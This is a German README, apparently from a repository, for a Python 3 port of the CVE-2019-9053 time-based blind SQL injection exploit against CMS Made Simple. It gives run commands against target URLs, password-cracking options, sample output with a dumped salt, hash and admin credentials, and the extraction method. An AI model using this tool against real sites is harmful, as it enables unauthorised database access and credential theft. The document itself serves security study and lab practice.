
CMS Made Simple CVE-2019-9053 Exploit (Python 3)
Eine Python-3-Portierung des zeitbasierten Blind-SQL-Injection-Exploits für CMS Made Simple <= 2.2.9.
Ursprünglicher Exploit von Daniele Scanu @ Certimeter Group.
| Feld | Detail |
|---|---|
| CVE | CVE-2019-9053 |
| Betroffene Software | CMS Made Simple <= 2.2.9 |
| Schwachstellentyp | Nicht authentifizierte zeitbasierte Blind-SQL-Injection |
| Angriffsvektor | Netzwerk (keine Authentifizierung erforderlich) |
| Parameter | m1_idlist im News-Modul |
Das News-Modul versäumt es, den GET-Parameter m1_idlist zu bereinigen, wodurch ein nicht authentifizierter Angreifer sensible Daten Zeichen für Zeichen mithilfe von Zeitverzögerungen aus der Datenbank extrahieren kann.
pip install requests termcolor
python3 CVE-2019-9053_py3.py -u http://target/cms
python3 CVE-2019-9053_py3.py -u http://target/cms --crack -w /path/to/wordlist.txt
python3 CVE-2019-9053_py3.py --help
| Flag | Beschreibung |
|---|---|
-u, --url | Basis-URL der Zielinstallation von CMS Made Simple |
-w, --wordlist | Pfad zu einer Wortlistendatei für das Passwort-Cracking |
-c, --crack | Aktiviert den Passwort-Cracking-Modus (erfordert -w) |
python3 CVE-2019-9053_py3.py -u http://10.49.164.146/simple/ --crack -w /usr/share/wordlists/rockyou.txt
Erwartete Ausgabe:
[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: password123
cms_siteprefs nach dem Wert sitemask ab (dem Passwort-Salt)user_id = 1 aus cms_usersuser_id = 1 aus cms_usersuser_id = 1 aus cms_usersMD5(salt + wordlist_entry) für jede Zeile und vergleicht das Ergebnis mit dem ausgelesenen HashDie Injection verwendet SELECT SLEEP(N), um jedes Zeichen zu erraten — wenn die Antwort verzögert wird, ist das geratene Zeichen korrekt.
Tipp: Wenn das Skript langsam oder unzuverlässig ist, erhöhen Sie die Variable
TIMEim Skript, um die Netzwerklatenz zu berücksichtigen.
| Änderung | Detail |
|---|---|
print-Anweisungen | In print()-Funktionen umgewandelt |
optparse | Durch argparse ersetzt (optparse ist in Python 3 veraltet) |
hashlib.md5() | Eingabe wird nun über .encode('utf-8') in Bytes kodiert |
| Dateilesen | .readlines() durch einen with-Block und .strip() ersetzt |
Dieses Projekt dient ausschließlich Bildungszwecken. Beachten Sie die Lizenzbedingungen des ursprünglichen Exploits auf Exploit-DB.